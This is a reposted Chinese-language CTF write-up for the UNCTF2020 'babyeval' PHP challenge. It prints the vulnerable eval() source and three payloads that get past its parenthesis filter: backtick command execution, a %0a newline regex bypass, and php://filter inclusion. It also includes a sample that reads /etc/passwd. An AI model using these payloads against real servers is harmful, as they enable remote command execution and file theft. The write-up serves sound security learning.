UNCTF2020-WEB:babyeval(php執行運算符|php過濾括號|換行符繞過正則)


php執行運算符

代碼:

<?php
    echo `base64 /etc/passwd`;
?>

 

上面的代碼使用了反引號,PHP 將嘗試將反引號中的內容作為 shell 命令來執行,並將其輸出信息返回(即,可以賦給一個變量而不是簡單地丟棄到標准輸出)

如果過濾了括號可以使用執行運算符去繞過進行輸出

 

題目源碼:

<?php
    // flag在flag.php
    if(isset($_GET['a'])){
        if(preg_match('/\(.*\)/', $_GET['a']))
            die('hacker!!!');
        ob_start(function($data){
                 if (strpos($data, 'flag') !== false)
                 return 'ByeBye hacker';
                 return false;
                 });
        eval($_GET['a']);
    } else {
        highlight_file(__FILE__);
    }
    ?>

 

exp1:php執行運算符

GET /?a=echo `base64 flag.php`

 

exp2:換行符繞過(%0a)

GET /?a=system(%27%0acat%20f*%20|%20base64%27);

 

exp3:利用include函數加php偽協議

GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;

 


參考:https://www.php.net/manual/zh/language.operators.execution.php

          https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020UNCTF


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM